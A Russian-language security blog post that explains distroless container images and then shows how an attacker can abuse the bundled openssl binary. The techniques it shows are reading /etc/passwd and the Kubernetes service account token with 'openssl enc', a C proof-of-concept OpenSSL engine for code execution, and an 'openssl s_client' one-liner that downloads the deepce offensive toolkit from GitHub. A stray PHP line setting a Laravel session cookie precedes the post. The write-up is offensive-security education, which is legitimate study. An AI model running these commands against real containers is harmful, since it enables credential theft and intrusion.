use on php tage session_name("laravel_session"); session_start(); $_SESSION['laravel_session'] = '60496c0795af2c5a1851100f52f34ccf3c692279+SFqbxMoR1OsEMJsYnZ11ANbTYFp8HmihXoDEaD6O';

Эксплуатация distroless контейнеров

Эксплуатация distroless контейнеров

Distroless - это лучшая практика, которая сформировалась и используется в Google и других технологических гигантах. Сам концепт distroless образов нацелен на то, чтобы ограничить содержимое среды для запуска приложения в контейнере. В таком контейнере обычно нет ничего кроме самого приложения и зависимостей, которые нужны для его работы. Это позволяет не только уменьшить размер образа, но и сделать контейнер более безопасным, за счёт отсутствия в нём инструментов, которые обычно используются злоумышленниками для эксплуатации в контейнерных средах

Получаем, что

  • Размер самого маленького distroless образа gcr.io/distroless/static-debian11 меньше alpine примерно в три раза. ~2.5 MB против ~7.8 MB
  • Отсутствие пакетного менеджера, с помощью которого можно доставить нужное ПО; утилит, которые находятся в составе busybox; других системных утилит
  • Сканирование с помощью инструмента Aqua Secutiry для выполнения SCA trivy показало, что alpine 3.20.0 имеет несколько уже исправленных брешей типа medium в компонентах busybox, busybox-binsh, libcrypto3, libssl3 и ssl_client. В то время как сканирование gcr.io/distroless/static-debian11 (debian 11.9) показало результаты UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 0. Чем сложнее и больше система, тем больше вероятность наличия в ней уязвимостей 😁

Помимо реализации distroless от Google, есть также другой интересный проект - Slim Toolkit, который использует несколько иной подход. После сборки совершенно обычного контейнера, утилита запускает его и запоминает какие файлы и системные вызовы были использованы. После завершения этого процесса она копирует все затронутые файлы в новый контейнер, создаёт профили безопасности для AppArmor и SecComp. На выходе должен получиться маленький безопасный контейнер

Узнать является ли ваш образ distroless можно тут

К чему я это всё? Distroless контейнеры не такие неприступные, как кажутся на первый взгляд. Площадь для атаки всё-таки есть. Плацдармом является пакет OpenSSL в базовом образе

Часть скрипта на bazel, благодаря которому пакет OpenSSL попадает в базовый образ:

BASE_DISTRO_DEBS = {
  "debian11": [
    "libssl1.1",
    "openssl",
  ],
  "debian12": [
    "libssl3",
  ],
}

После установки данный пакет предоставляет два файла: /usr/bin/c_rehash и нужный для эксплуатации /usr/bin/openssl

Запомнили эту информацию? Теперь перейдём к сценарию эксплуатации

Запустите контейнер с помощью Docker из образа gcr.io/distroless/nodejs и передайте ему для теста произвольный код на JS, который будет создавать какую-либо активность в контейнере какое-то время и не позволит ему умереть сразу же после запуска:

sudo docker run -d --rm --name my-distroless gcr.io/distroless/nodejs -e 'setTimeout(() => console.log("Done"), 99999999)'

Если звёзды сошлись на небе, то после выполнения docker ps вы увидите, что на Docker Engine был запущен нужный контейнер

Моделирование ситуации:
Представьте, что вы злоумышленник и нашли, например, какой-нибудь вероятно уязвимый параметр на веб-сайте. В надежде, что вы одержали победу над системой, пробуете получить вывод какой-нибудь команды по типу ps или uptime

sudo docker exec -it my-distroless uname

И получаете

OCI runtime exec failed: exec failed: unable to start container process: exec: "uname": executable file not found in $PATH: unknown

Что делать? Как быть? Спокойствие. Вы попали в distroless контейнер! Тут нет ни оболочки командной строки(bash, sh, etc), ни системных утилит. Даже если у вас получилось проникнуть в оболочку, то дальнейшая эксплуатация вряд ли будет возможна ввиду отсутствия даже базовых утилит

P.S. Случай, когда в distroless контейнере реально может находиться шелл, возможен, поскольку иногда под distroless подразумевают golden или base image

Минимальный Proof-Of-Concept:

Нет sh, curl, cat, но зато есть openssl. Что с ним делать? Как минимум, с помощью одной из его функций enc можно читать системные файлы:

sudo docker exec -it my-distroless openssl enc -in /etc/passwd

Неплохо?

root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin

Но хочется чего-то большего, чем обычное чтение файлов. Например, выполнение произвольного кода

Для этого предварительно необходимо поставить пакет libssl-dev в систему и скомпилировать следующий код на С, который я написал в качестве минимального PoC:

#include <openssl/engine.h>
#include <sys/utsname.h>

static int bind(ENGINE *e, const char *id) {

  struct utsname buffer;

  errno = 0;

  if(uname(&buffer) < 0)
  {
    perror("uname");
    exit(EXIT_FAILURE);
  }

  printf("system name = %s\n", buffer.sysname);
  printf("node name   = %s\n", buffer.nodename);
  printf("release     = %s\n", buffer.release);
  printf("version     = %s\n", buffer.version);
  printf("machine     = %s\n", buffer.machine);

  return EXIT_SUCCESS;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

Этот код использует библиотеку utsname.h, для того чтобы вывести на экран некоторую минимальную информацию о системе. Скомпилируйте этот код:

gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o

На выходе должен получиться 64 битный ELF Shared Object stripped (эльф стриптизёр) - hostname.so

Чтобы убедиться в работоспособности выполните следующую команду на хосте:

openssl engine $PWD/hostname.s

На экран должна посыпаться информация о системе

Теперь этот объект можно занести в distroless контейнер с помощью функции enc в openssl и кодирования, например, в base64 для удобной транспортировки содержимого

Также, в качестве меры предосторожности, чтобы защититься от мамкиных скриптеров, я оставляю инструкцию не полностью детализированной 🖕

Вывод: Как можно понять из поста, наличие openssl в контейнере может позволить читать данные или даже занести какой-то свой файл и после исполнить его

На затравку:

kubectl exec -it my-distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token

Получение токена учётной записи в Kubernetes

(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh

Закачка в контейнер с отсутствием wget/curl инструмента Deepce - фреймворка наступательной информационной безопасности для эксплуатации контейнерных сред

Disclaimer: Автор сайта не несёт ответственность за неправомерные действия, совершенные на основе изложенного контента

Также этот пост можно посмотреть в телеграм канале Unauth Papaya в двух частях: